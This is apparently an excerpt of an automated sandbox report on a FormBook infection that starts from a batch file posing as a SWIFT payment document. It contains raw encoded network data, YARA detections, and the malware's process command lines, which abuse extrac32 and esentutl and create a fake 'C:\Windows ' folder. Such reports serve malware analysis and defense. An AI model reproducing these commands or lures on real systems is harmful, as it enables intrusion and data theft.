                                                                                                                                                                                                                                Data Ascii: pq6lWSOnsUsXJhwXFBIVFxsVFhgOEBIgFCUjJhkYERwjDyMcJSUhJhMdDhscHyEPExgYESMTEx4cDhMQIhIcGaaupVkjp7FLVyMjFBESHBcfEhKmrqVZI6exS2p5Z2pfXWhqZmhpa2FjXXNfeG55ZGtcZ25ibmd4eGx5XnBhZmdybGJea2tcbl5ecWdhXmNtXWdkanlnal9daGpmaGlrYWNdc194bnlka1xnbmJuZ3h4bHlecGFmZ3JsYl5ra1x
                                                                                                                                                                                                                                2024-10-30 07:04:10 UTC8000INData Raw: 6b 71 52 59 72 44 6e 47 77 33 34 48 57 55 67 68 45 77 36 79 46 7a 45 77 37 7a 66 65 2f 66 7a 55 4f 72 50 34 4d 35 38 2f 59 77 45 6d 49 37 4d 4a 51 6c 72 4c 6c 45 57 48 53 47 4f 71 54 59 62 30 62 65 38 79 6a 44 34 68 4c 77 5a 64 36 51 58 52 79 4b 45 42 72 6b 63 4f 30 75 53 69 4b 31 51 53 63 78 4c 72 35 74 31 5a 7a 54 4b 6b 4e 48 68 4d 41 34 33 77 6e 58 78 63 39 76 6b 68 70 51 38 76 6b 74 41 34 68 38 6b 6a 6b 46 73 75 55 44 75 44 67 6a 63 34 5a 32 2b 4f 6e 65 62 43 68 64 4c 38 70 39 70 6d 68 2b 39 66 70 4e 4b 44 35 79 74 59 42 4d 51 54 74 62 73 77 45 2f 6b 53 31 64 76 52 59 62 4e 50 34 4f 65 76 6a 38 78 48 66 45 37 55 62 32 64 56 39 4b 4c 4a 46 75 35 5a 74 59 54 57 51 6d 4e 74 48 51 69 76 44 78 77 50 69 61 47 30 61 65 34 37 62 43 37 57 69 77 55 69 55 2b 78
                                                                                                                                                                                                                                Data Ascii: kqRYrDnGw34HWUghEw6yFzEw7zfe/fzUOrP4M58/YwEmI7MJQlrLlEWHSGOqTYb0be8yjD4hLwZd6QXRyKEBrkcO0uSiK1QScxLr5t1ZzTKkNHhMA43wnXxc9vkhpQ8vktA4h8kjkFsuUDuDgjc4Z2+OnebChdL8p9pmh+9fpNKD5ytYBMQTtbswE/kS1dvRYbNP4Oevj8xHfE7Ub2dV9KLJFu5ZtYTWQmNtHQivDxwPiaG0ae47bC7WiwUiU+x
                                                                                                                                                                                                                                2024-10-30 07:04:10 UTC8000INData Raw: 30 4b 73 72 4e 77 79 48 68 46 37 32 56 5a 77 70 6d 71 6a 31 4f 32 34 41 37 71 65 30 72 2f 36 34 39 6e 53 4d 42 4c 6d 74 6c 6d 53 47 4f 70 58 46 48 74 49 76 72 61 73 62 44 76 48 62 36 47 6b 36 38 30 39 64 61 50 70 31 49 7a 43 65 6d 32 50 37 48 71 38 64 4a 2f 37 5a 79 72 30 4c 42 42 41 64 56 67 54 45 4e 76 79 37 37 2f 42 57 5a 53 75 59 48 42 4e 72 74 5a 33 49 4c 37 36 61 37 33 34 46 56 6f 73 65 47 73 30 4e 51 37 63 61 37 72 39 79 67 6a 32 57 32 74 4a 70 38 47 46 4f 50 6c 37 74 4a 35 70 77 63 33 6b 77 6c 55 51 4e 48 74 4e 44 57 6e 50 67 6d 48 74 70 6d 4a 31 7a 35 42 75 30 39 33 33 4c 50 35 46 38 69 6b 48 53 30 33 55 55 6d 56 46 57 33 50 77 2b 50 4f 34 6f 33 4e 33 69 43 78 4b 47 5a 54 5a 39 43 70 35 39 37 36 4f 35 4b 41 65 76 38 63 32 47 32 45 55 58 56 44 7a
                                                                                                                                                                                                                                Data Ascii: 0KsrNwyHhF72VZwpmqj1O24A7qe0r/649nSMBLmtlmSGOpXFHtIvrasbDvHb6Gk6809daPp1IzCem2P7Hq8dJ/7Zyr0LBBAdVgTENvy77/BWZSuYHBNrtZ3IL76a734FVoseGs0NQ7ca7r9ygj2W2tJp8GFOPl7tJ5pwc3kwlUQNHtNDWnPgmHtpmJ1z5Bu0933LP5F8ikHS03UUmVFW3Pw+PO4o3N3iCxKGZTZ9Cp5976O5KAev8c2G2EUXVDz
                                                                                                                                                                                                                                2024-10-30 07:04:10 UTC8000INData Raw: 74 6a 62 69 6a 70 56 7a 4f 2b 50 79 57 38 42 5a 58 50 5a 58 39 53 65 78 59 37 59 43 7a 73 38 7a 76 43 59 65 62 42 45 6b 69 4a 37 62 6e 44 37 47 4d 65 58 6c 67 45 36 5a 4f 58 66 79 69 64 31 55 42 71 65 48 7a 69 75 38 38 35 72 39 38 66 78 71 6d 75 63 6c 49 65 33 46 68 4b 71 52 33 6b 5a 6f 6a 6f 49 4e 73 73 44 4a 38 5a 32 54 47 48 32 30 39 73 6c 73 64 36 62 38 71 67 6b 51 6a 42 30 46 4f 6e 47 6a 4b 4c 70 30 6f 76 38 63 2b 4d 55 55 2f 79 4e 6f 64 6a 4d 38 2f 43 59 4b 68 7a 72 6b 31 66 71 34 5a 37 37 49 6b 57 41 41 42 4f 44 62 61 38 37 52 7a 4b 2b 4b 47 78 5a 52 65 6c 6d 72 52 64 78 4c 48 4b 54 70 4f 70 45 7a 30 55 4c 52 41 36 67 78 68 37 5a 74 6b 38 45 4e 5a 32 41 42 41 36 48 2b 4b 45 62 62 59 37 58 52 6c 67 76 35 46 44 6e 30 71 2b 48 6c 36 71 37 42 6e 76 32
                                                                                                                                                                                                                                Data Ascii: tjbijpVzO+PyW8BZXPZX9SexY7YCzs8zvCYebBEkiJ7bnD7GMeXlgE6ZOXfyid1UBqeHziu885r98fxqmuclIe3FhKqR3kZojoINssDJ8Z2TGH209slsd6b8qgkQjB0FOnGjKLp0ov8c+MUU/yNodjM8/CYKhzrk1fq4Z77IkWAABODba87RzK+KGxZRelmrRdxLHKTpOpEz0ULRA6gxh7Ztk8ENZ2ABA6H+KEbbY7XRlgv5FDn0q+Hl6q7Bnv2
                                                                                                                                                                                                                                2024-10-30 07:04:10 UTC8000INData Raw: 72 45 30 48 2b 6b 73 47 44 4b 4d 36 58 41 5a 4b 4a 4d 62 7a 4c 76 62 38 64 68 33 63 4e 50 41 30 43 50 59 38 66 33 45 4d 39 62 36 62 76 33 76 4c 76 66 2f 63 52 67 4c 58 46 46 72 58 5a 4c 74 6c 46 61 64 35 43 45 4e 70 42 32 7a 32 4a 68 33 5a 41 7a 61 56 49 78 64 6a 72 30 31 54 52 44 66 62 5a 35 74 59 48 37 32 63 37 46 41 64 7a 50 6b 65 31 32 37 68 33 42 71 4a 36 78 62 46 66 51 61 62 4c 32 44 74 62 44 78 66 47 71 6b 37 6a 2f 38 46 68 54 67 41 76 50 7a 39 39 59 6d 6a 4f 36 4c 7a 66 33 58 53 76 68 45 4d 6c 37 32 38 43 50 39 4b 4d 32 6f 78 75 49 47 6a 6c 54 54 33 76 46 6d 36 4c 6c 36 4b 2f 63 4e 62 6d 6d 48 54 31 56 48 7a 6a 36 4f 56 64 2f 44 44 6c 4c 64 39 49 39 32 4e 50 77 73 6c 75 51 4c 46 4a 52 4f 46 39 49 48 48 48 4e 70 2b 63 73 38 32 30 4d 68 41 50 50 35
                                                                                                                                                                                                                                Data Ascii: rE0H+ksGDKM6XAZKJMbzLvb8dh3cNPA0CPY8f3EM9b6bv3vLvf/cRgLXFFrXZLtlFad5CENpB2z2Jh3ZAzaVIxdjr01TRDfbZ5tYH72c7FAdzPke127h3BqJ6xbFfQabL2DtbDxfGqk7j/8FhTgAvPz99YmjO6Lzf3XSvhEMl728CP9KM2oxuIGjlTT3vFm6Ll6K/cNbmmHT1VHzj6OVd/DDlLd9I92NPwsluQLFJROF9IHHHNp+cs820MhAPP5
                                                                                                                                                                                                                                2024-10-30 07:04:10 UTC8000INData Raw: 43 6d 58 71 78 42 44 6a 59 54 7a 67 31 76 63 42 73 72 56 31 43 48 44 69 67 4c 49 50 6e 79 32 45 55 76 76 38 43 6d 58 49 31 77 51 4f 4d 36 73 6a 46 5a 2b 2f 51 6a 4e 58 32 53 48 54 39 63 51 6a 2f 68 35 35 46 61 65 61 5a 46 57 4a 74 48 6a 70 6c 50 61 54 67 2b 6c 68 64 6b 33 5a 74 70 7a 55 34 77 71 44 79 59 4a 39 75 79 69 6f 47 32 2f 68 62 34 6c 70 4b 5a 64 58 5a 59 32 47 39 70 77 74 2b 30 34 51 35 7a 59 45 70 48 6a 74 4d 6b 4c 64 43 39 6b 35 74 42 35 6c 35 70 4d 5a 69 79 67 61 46 2b 32 34 51 75 58 37 52 71 63 54 31 4f 38 75 75 39 65 64 55 45 78 6d 58 36 57 7a 78 37 76 59 41 56 4b 32 4a 5a 49 5a 73 64 51 32 69 44 64 31 42 70 51 36 78 35 6f 52 36 50 73 7a 50 5a 55 68 6c 35 7a 5a 6d 53 77 42 72 48 75 68 56 78 64 79 67 49 43 75 68 35 63 4f 32 59 53 52 53 6f 45
                                                                                                                                                                                                                                Data Ascii: CmXqxBDjYTzg1vcBsrV1CHDigLIPny2EUvv8CmXI1wQOM6sjFZ+/QjNX2SHT9cQj/h55FaeaZFWJtHjplPaTg+lhdk3ZtpzU4wqDyYJ9uyioG2/hb4lpKZdXZY2G9pwt+04Q5zYEpHjtMkLdC9k5tB5l5pMZiygaF+24QuX7RqcT1O8uu9edUExmX6Wzx7vYAVK2JZIZsdQ2iDd1BpQ6x5oR6PszPZUhl5zZmSwBrHuhVxdygICuh5cO2YSRSoE
                                                                                                                                                                                                                                2024-10-30 07:04:11 UTC8000INData Raw: 61 64 44 4c 4a 57 76 59 6d 6b 5a 72 37 38 51 50 59 48 76 36 41 56 31 77 43 4e 78 70 4a 75 43 54 71 66 4f 77 6b 4a 79 70 68 76 72 43 67 55 6f 6c 66 54 30 43 41 34 76 71 38 79 69 47 70 55 54 33 65 4d 63 78 6c 78 79 7a 30 38 36 46 6a 52 36 66 58 71 55 76 65 68 7a 61 54 50 36 6d 2b 6f 33 37 5a 4f 44 4c 6e 6e 75 55 50 7a 72 75 63 59 42 61 57 65 6c 57 6e 71 6b 32 49 7a 6b 35 59 32 6c 49 57 76 32 47 76 31 59 58 39 50 38 71 70 67 6f 6d 41 39 2f 45 35 67 59 6a 63 39 50 39 68 72 6f 66 65 70 77 4f 75 7a 7a 68 55 4f 39 6b 43 4e 66 4d 4b 58 35 33 6d 66 4e 55 54 4c 6e 36 34 71 77 71 71 61 42 51 67 59 6d 41 53 44 4c 67 47 55 6d 61 47 42 38 44 38 42 75 67 42 2b 30 51 53 36 4d 70 57 54 58 49 7a 35 76 45 77 66 70 57 74 4d 35 75 48 75 56 74 34 36 65 32 39 64 59 34 55 55 44
                                                                                                                                                                                                                                Data Ascii: adDLJWvYmkZr78QPYHv6AV1wCNxpJuCTqfOwkJyphvrCgUolfT0CA4vq8yiGpUT3eMcxlxyz086FjR6fXqUvehzaTP6m+o37ZODLnnuUPzrucYBaWelWnqk2Izk5Y2lIWv2Gv1YX9P8qpgomA9/E5gYjc9P9hrofepwOuzzhUO9kCNfMKX53mfNUTLn64qwqqaBQgYmASDLgGUmaGB8D8BugB+0QS6MpWTXIz5vEwfpWtM5uHuVt46e29dY4UUD
                                                                                                                                                                                                                                2024-10-30 07:04:11 UTC8000INData Raw: 4b 58 6a 77 62 50 53 45 44 57 34 59 36 46 38 44 50 6d 58 31 4b 37 6f 66 4e 63 4f 43 48 34 79 6a 78 70 56 43 36 51 36 4e 65 38 74 2f 52 6f 63 41 48 66 48 74 57 6a 4b 69 49 72 41 75 37 6b 70 48 45 6a 49 67 31 76 6b 6e 50 30 62 62 41 44 4d 52 7a 4e 71 41 35 77 6d 46 48 4e 4c 49 6c 4b 4d 30 50 76 73 66 4b 76 72 62 69 71 41 30 63 69 6f 65 78 48 6b 32 73 66 73 45 4e 5a 4d 63 48 4c 66 48 37 65 59 6a 30 32 6f 70 37 43 76 78 54 2f 69 56 6f 75 47 32 43 55 7a 4f 68 38 63 4e 7a 31 41 5a 67 79 66 48 47 50 75 6f 50 35 2b 67 47 4f 58 50 79 6e 67 4b 63 2b 34 36 79 63 53 51 79 73 50 6b 64 53 61 70 4c 6f 6f 45 32 4d 69 48 38 2f 78 6b 56 64 53 36 4e 77 37 74 6a 69 4d 76 2f 75 48 53 39 65 33 63 67 4d 50 6b 6d 63 62 49 57 49 51 73 2f 66 53 6c 75 6a 51 67 6d 6b 6d 77 5a 59 37
                                                                                                                                                                                                                                Data Ascii: KXjwbPSEDW4Y6F8DPmX1K7ofNcOCH4yjxpVC6Q6Ne8t/RocAHfHtWjKiIrAu7kpHEjIg1vknP0bbADMRzNqA5wmFHNLIlKM0PvsfKvrbiqA0cioexHk2sfsENZMcHLfH7eYj02op7CvxT/iVouG2CUzOh8cNz1AZgyfHGPuoP5+gGOXPyngKc+46ycSQysPkdSapLooE2MiH8/xkVdS6Nw7tjiMv/uHS9e3cgMPkmcbIWIQs/fSlujQgmkmwZY7
                                                                                                                                                                                                                                2024-10-30 07:04:11 UTC8000INData Raw: 70 6a 2b 32 65 4a 6b 4e 52 61 6c 50 32 36 31 64 55 6e 33 71 39 53 70 46 38 45 51 65 63 44 58 32 4d 77 33 62 51 44 4c 77 6d 70 6b 44 69 50 6e 30 4a 53 4e 58 52 46 55 6d 2f 37 50 41 6a 48 59 6c 46 38 52 38 59 77 4f 6f 67 57 64 6f 68 52 4f 77 6a 45 35 45 6c 74 6c 69 57 61 6e 70 74 47 4d 36 6e 51 4d 70 73 6d 42 48 75 75 6c 78 34 54 44 49 57 36 38 78 37 72 32 6f 48 70 71 55 34 6b 66 33 6e 54 51 46 74 4a 61 4e 44 55 68 72 6e 63 6d 37 6b 64 6a 76 46 75 4f 6a 2f 4e 39 61 73 31 4f 47 70 72 54 77 59 75 72 6f 36 2b 47 2b 38 31 43 69 52 39 56 38 4d 65 6f 64 34 43 69 74 59 42 61 67 65 5a 7a 57 43 76 46 5a 4a 59 58 38 78 46 6f 2f 31 68 54 4d 49 6b 36 66 69 7a 75 5a 4a 79 79 7a 58 68 38 77 44 75 51 6a 4f 63 48 34 6c 59 31 46 54 6b 51 59 35 56 67 44 58 61 36 79 55 6b 4b
                                                                                                                                                                                                                                Data Ascii: pj+2eJkNRalP261dUn3q9SpF8EQecDX2Mw3bQDLwmpkDiPn0JSNXRFUm/7PAjHYlF8R8YwOogWdohROwjE5EltliWanptGM6nQMpsmBHuulx4TDIW68x7r2oHpqU4kf3nTQFtJaNDUhrncm7kdjvFuOj/N9as1OGprTwYuro6+G+81CiR9V8Meod4CitYBageZzWCvFZJYX8xFo/1hTMIk6fizuZJyyzXh8wDuQjOcH4lY1FTkQY5VgDXa6yUkK
                                                                                                                                                                                                                                2024-10-30 07:04:11 UTC8000INData Raw: 79 30 56 50 31 43 4a 65 32 59 6e 56 38 68 2f 37 35 32 32 6d 6b 75 51 78 36 2f 6c 79 58 6b 4e 67 7a 49 37 50 36 4c 39 55 53 50 56 32 31 36 33 48 4f 4a 48 4a 46 45 50 71 4f 42 57 73 66 35 36 7a 4c 32 51 69 77 30 6a 70 4b 4d 2f 37 36 52 31 48 6d 65 31 74 4e 79 51 4e 78 37 52 50 57 33 7a 43 77 36 6c 43 36 55 56 37 68 34 4f 54 55 65 6e 4b 47 37 35 72 6c 6f 75 66 6b 62 38 31 52 70 35 4d 75 63 35 58 31 58 6b 53 32 48 30 74 57 54 2b 63 4f 44 4e 64 32 68 66 50 35 73 37 6c 68 4c 64 41 36 31 6b 36 75 6d 6e 56 4a 52 62 4d 51 76 6a 7a 6f 72 42 65 5a 63 6d 56 4f 30 46 71 30 39 76 73 77 2b 50 59 4e 36 6c 39 36 53 56 56 31 78 37 31 6a 68 49 2b 43 71 2b 50 71 54 42 30 77 63 30 6a 33 2b 37 67 35 2f 2b 54 6f 4e 4d 56 38 6d 77 46 4a 67 33 6a 54 63 57 55 7a 77 76 56 6e 49 6a
                                                                                                                                                                                                                                Data Ascii: y0VP1CJe2YnV8h/7522mkuQx6/lyXkNgzI7P6L9USPV2163HOJHJFEPqOBWsf56zL2Qiw0jpKM/76R1Hme1tNyQNx7RPW3zCw6lC6UV7h4OTUenKG75rloufkb81Rp5Muc5X1XkS2H0tWT+cODNd2hfP5s7lhLdA61k6umnVJRbMQvjzorBeZcmVO0Fq09vsw+PYN6l96SVV1x71jhI+Cq+PqTB0wc0j3+7g5/+ToNMV8mwFJg3jTcWUzwvVnIj


                                                                                                                                                                                                                                Statistics

                                                                                                                                                                                                                                CPU Usage

                                                                                                                                                                                                                                Click to jump to process

                                                                                                                                                                                                                                Memory Usage

                                                                                                                                                                                                                                Click to jump to process

                                                                                                                                                                                                                                High Level Behavior Distribution

                                                                                                                                                                                                                                Click to dive into process behavior distribution

                                                                                                                                                                                                                                Behavior

                                                                                                                                                                                                                                Click to jump to process

                                                                                                                                                                                                                                System Behavior

                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                Target ID:0
                                                                                                                                                                                                                                Start time:03:04:06
                                                                                                                                                                                                                                Start date:30/10/2024
                                                                                                                                                                                                                                Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                Commandline:C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\z1SWIFT_MT103_Payment_552016_cmd.bat" "
                                                                                                                                                                                                                                Imagebase:0x7ff70ac70000
                                                                                                                                                                                                                                File size:289'792 bytes
                                                                                                                                                                                                                                MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                Target ID:1
                                                                                                                                                                                                                                Start time:03:04:06
                                                                                                                                                                                                                                Start date:30/10/2024
                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                Imagebase:0x7ff66e660000
                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                Target ID:3
                                                                                                                                                                                                                                Start time:03:04:06
                                                                                                                                                                                                                                Start date:30/10/2024
                                                                                                                                                                                                                                Path:C:\Windows\System32\extrac32.exe
                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                Commandline:extrac32 /y "C:\Users\user\Desktop\z1SWIFT_MT103_Payment_552016_cmd.bat" "C:\Users\user\AppData\Local\Temp\x.exe"
                                                                                                                                                                                                                                Imagebase:0x7ff7d9870000
                                                                                                                                                                                                                                File size:35'328 bytes
                                                                                                                                                                                                                                MD5 hash:41330D97BF17D07CD4308264F3032547
                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                Reputation:moderate
                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                Target ID:4
                                                                                                                                                                                                                                Start time:03:04:06
                                                                                                                                                                                                                                Start date:30/10/2024
                                                                                                                                                                                                                                Path:C:\Users\user\AppData\Local\Temp\x.exe
                                                                                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                                                                                Commandline:"C:\Users\user\AppData\Local\Temp\x.exe"
                                                                                                                                                                                                                                Imagebase:0x400000
                                                                                                                                                                                                                                File size:1'138'688 bytes
                                                                                                                                                                                                                                MD5 hash:5DBEA6FB56D601307088104C910E1A80
                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                Programmed in:Borland Delphi
                                                                                                                                                                                                                                Yara matches:
                                                                                                                                                                                                                                • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.2251265510.0000000021C42000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.2251265510.0000000021C42000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.2251265510.0000000021C42000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.2251265510.0000000021C42000.00000004.00001000.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                                                                                                • Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.2251265510.0000000021C42000.00000004.00001000.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                                                                                                • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.2250459092.00000000216FA000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.2250459092.00000000216FA000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.2250459092.00000000216FA000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.2250459092.00000000216FA000.00000004.00001000.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                                                                                                • Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.2250459092.00000000216FA000.00000004.00001000.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                                                                                                Antivirus matches:
                                                                                                                                                                                                                                • Detection: 100%, Joe Sandbox ML
                                                                                                                                                                                                                                • Detection: 26%, ReversingLabs
                                                                                                                                                                                                                                Reputation:low
                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                Target ID:6
                                                                                                                                                                                                                                Start time:03:04:13
                                                                                                                                                                                                                                Start date:30/10/2024
                                                                                                                                                                                                                                Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                                                                                Commandline:C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\joedgvvL.cmd" "
                                                                                                                                                                                                                                Imagebase:0x1c0000
                                                                                                                                                                                                                                File size:236'544 bytes
                                                                                                                                                                                                                                MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                Target ID:7
                                                                                                                                                                                                                                Start time:03:04:13
                                                                                                                                                                                                                                Start date:30/10/2024
                                                                                                                                                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                Wow64 process (32bit):false
                                                                                                                                                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                Imagebase:0x7ff66e660000
                                                                                                                                                                                                                                File size:862'208 bytes
                                                                                                                                                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                Target ID:8
                                                                                                                                                                                                                                Start time:03:04:14
                                                                                                                                                                                                                                Start date:30/10/2024
                                                                                                                                                                                                                                Path:C:\Windows\SysWOW64\esentutl.exe
                                                                                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                                                                                Commandline:C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o
                                                                                                                                                                                                                                Imagebase:0x60000
                                                                                                                                                                                                                                File size:352'768 bytes
                                                                                                                                                                                                                                MD5 hash:5F5105050FBE68E930486635C5557F84
                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                Reputation:moderate
                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                Target ID:9
                                                                                                                                                                                                                                Start time:03:04:14
                                                                                                                                                                                                                                Start date:30/10/2024
                                                                                                                                                                                                                                Path:C:\Windows\SysWOW64\esentutl.exe
                                                                                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                                                                                Commandline:C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /o
                                                                                                                                                                                                                                Imagebase:0x60000
                                                                                                                                                                                                                                File size:352'768 bytes
                                                                                                                                                                                                                                MD5 hash:5F5105050FBE68E930486635C5557F84
                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                Reputation:moderate
                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                Target ID:10
                                                                                                                                                                                                                                Start time:03:04:14
                                                                                                                                                                                                                                Start date:30/10/2024
                                                                                                                                                                                                                                Path:C:\Users\Public\alpha.pif
                                                                                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                                                                                Commandline:C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows "
                                                                                                                                                                                                                                Imagebase:0xd10000
                                                                                                                                                                                                                                File size:236'544 bytes
                                                                                                                                                                                                                                MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                Antivirus matches:
                                                                                                                                                                                                                                • Detection: 0%, ReversingLabs
                                                                                                                                                                                                                                Reputation:high
                                                                                                                                                                                                                                Has exited:true

                                                                                                                                                                                                                                General

                                                                                                                                                                                                                                Target ID:11
                                                                                                                                                                                                                                Start time:03:04:14
                                                                                                                                                                                                                                Start date:30/10/2024
                                                                                                                                                                                                                                Path:C:\Users\Public\Libraries\joedgvvL.pif
                                                                                                                                                                                                                                Wow64 process (32bit):true
                                                                                                                                                                                                                                Commandline:C:\Users\Public\Libraries\joedgvvL.pif
                                                                                                                                                                                                                                Imagebase:0x400000
                                                                                                                                                                                                                                File size:68'096 bytes
                                                                                                                                                                                                                                MD5 hash:C116D3604CEAFE7057D77FF27552C215
                                                                                                                                                                                                                                Has elevated privileges:true
                                                                                                                                                                                                                                Has administrator privileges:true
                                                                                                                                                                                                                                Programmed in:C, C++ or other language
                                                                                                                                                                                                                                Yara matches:
                                                                                                                                                                                                                                • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000B.00000002.2335559900.000000001DE60000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.2335559900.000000001DE60000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000B.00000002.2335559900.000000001DE60000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000B.00000002.2335559900.000000001DE60000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                                                                                                • Rule: Formbook, Description: detect Formbook in memory, Source: 0000000B.00000002.2335559900.000000001DE60000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                                                                                                                                                • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000B.00000001.2213802564.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000001.2213802564.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000B.00000001.2213802564.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                                • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000B.00000001.2213802564.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                                                                                                                                                • Rule: Formbook, Description: detect Formbook in memory, Source: 0000000B.00000001.2213802564.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
